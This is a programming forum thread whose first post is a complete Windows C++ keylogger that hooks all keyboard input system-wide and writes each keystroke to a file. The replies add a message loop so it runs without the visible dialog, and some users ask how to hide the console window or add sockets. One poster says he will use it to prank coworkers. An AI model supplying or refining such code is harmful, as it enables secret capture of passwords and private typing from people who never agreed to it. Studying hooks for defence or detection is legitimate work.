1,105,226 Community Members

Keylogger using window hooks

Member Avatar
(William Hemsworth)
Reputation Points: 1,339 [?]
Q&As Helped to Solve: 158 [?]
Skill Endorsements: 10 [?]
 
0
 

A program that uses hooks to detect keypresses and write them to a file.

#define _WIN32_WINNT 0x0500

#include<fstream>
#include<windows.h>

using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
	
	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {

			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;

			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
			default:
				out << char(tolower(p->vkCode));

		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0);

	MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

	out.close();

	return 0;
}
Member Avatar
t3ch|\/|4n
Newbie Poster
6 posts since Aug 2008
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Thanks!! I going to play pranks on my coworkers now!!! :)

Member Avatar
mvmalderen
Nearly a Posting Maven
2,370 posts since Feb 2009
Reputation Points: 2,071 [?]
Q&As Helped to Solve: 282 [?]
Skill Endorsements: 40 [?]
 
0
 

Very nice snippet !
I didn't know it was actually such a small code ...

Member Avatar
Silvershaft
Junior Poster
139 posts since Jul 2009
Reputation Points: 2 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Hey it worked when I put messagebox after that code, but else it won't work as I modified it abit to work with my command line program heres the start code:

HWND Handle = GetConsoleWindow();
	HINSTANCE hInstance = (HINSTANCE)GetWindowLong( Handle, GWL_HINSTANCE );
HHOOK KeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0);

That code won't work if I don't put messagebox, is there any other way to make it work than messagebox?

Member Avatar
Rajesh R Subram
Junior Poster in Training
62 posts since Dec 2009
Reputation Points: 127 [?]
Q&As Helped to Solve: 3 [?]
Skill Endorsements: 0 [?]
 
0
 

You should not execute any code of yours if the nCode parameter passed to your hook procedure is less than zero (actually it should be equal to HC_ACTION, which is defined as zero in WinUser.h).

Member Avatar
Silvershaft
Junior Poster
139 posts since Jul 2009
Reputation Points: 2 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Thanks very much for reply, but how should I do it that way that I don't have to put messagebox that it runs other code while its keylogging?

Member Avatar
Rajesh R Subram
Junior Poster in Training
62 posts since Dec 2009
Reputation Points: 127 [?]
Q&As Helped to Solve: 3 [?]
Skill Endorsements: 0 [?]
 
0
 

@Silvershaft: In which case, you should put your hook code in a DLL and then load it from an executable. Your executable will control the functionality of the hook.

Search MSDN and CodeProject for samples on the said topic. Also, why are you writing a keylogger?

Member Avatar
Silvershaft
Junior Poster
139 posts since Jul 2009
Reputation Points: 2 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Is this the right way, just changing the hook in example to my hook?
And I want to try how to make proper keylogger :P Got nothing else nice to code so I decided to try this.

Heres the link http://www.codeproject.com/KB/DLL/hooks.aspx

Member Avatar
Rajesh R Subram
Junior Poster in Training
62 posts since Dec 2009
Reputation Points: 127 [?]
Q&As Helped to Solve: 3 [?]
Skill Endorsements: 0 [?]
 
0
 

@Silvershaft: Yes, that's a perfectly written article, which also contains some neatly written theory on hooks and DLLs in general. That must help you understand how it works too. Also, that's a mouse hook (not a keyboard hook), although the fundamentals are the same.

But if you're trying this for the sake of learning, then any hook should do.

Member Avatar
Silvershaft
Junior Poster
139 posts since Jul 2009
Reputation Points: 2 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

I also found this article, what about this? http://www.codeproject.com/KB/DLL/keyboardhook.aspx

Member Avatar
Devoney
Newbie Poster
6 posts since Mar 2008
Reputation Points: 22 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
1
 

MSDN says that GetMessage executed by an application executes the keyboard_hook. Replace the messagebox() by the following code:

MSG messages;
while (GetMessage (&messages, NULL, 0, 0))
{
        /* Translate virtual-key messages into character messages */
        TranslateMessage(&messages);
        /* Send message to WindowProcedure */
        DispatchMessage(&messages);
}
+_+man
Light Poster
29 posts since Jul 2010
Reputation Points: 0 [?]
Q&As Helped to Solve: 1 [?]
Skill Endorsements: 0 [?]
Banned
 
0
 

Very nice one i liked it

Member Avatar
hons_love
Newbie Poster
5 posts since Mar 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

Can you please tell me the compilor used to compile this program?

Member Avatar
hons_love
Newbie Poster
5 posts since Mar 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

I used code blocks compilor and it's giving some errors

Member Avatar
William Hemsworth
Posting Virtuoso
1,546 posts since Mar 2008
Reputation Points: 1,339 [?]
Q&As Helped to Solve: 158 [?]
Skill Endorsements: 10 [?]
 
0
 

I used code blocks compilor and it's giving some errors

I used visual studio, it should work on code blocks but you may have to adjust the settings for it to work.

Member Avatar
hons_love
Newbie Poster
5 posts since Mar 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

I replaced the messagebox() with the above code and it is working fine,. but the only problem is that i get a console window and when i close that window then only i get the keys in the output file. is there a way to avoid doing this without the console window getting displayed?

Member Avatar
hons_love
Newbie Poster
5 posts since Mar 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
0
 

What is the virtual key code for "Alt" key. can anybody help?

Member Avatar
William Hemsworth
Posting Virtuoso
1,546 posts since Mar 2008
Reputation Points: 1,339 [?]
Q&As Helped to Solve: 158 [?]
Skill Endorsements: 10 [?]
 
0
 

What is the virtual key code for "Alt" key. can anybody help?

VK_MENU

Member Avatar
hons_love
Newbie Poster
5 posts since Mar 2011
Reputation Points: 0 [?]
Q&As Helped to Solve: 0 [?]
Skill Endorsements: 0 [?]
 
-1
 

Is there a standard library exist in c++ for sockets? if so can anybody give details about those libraries?

You
Post:
Start New Discussion
Tags Related to this Article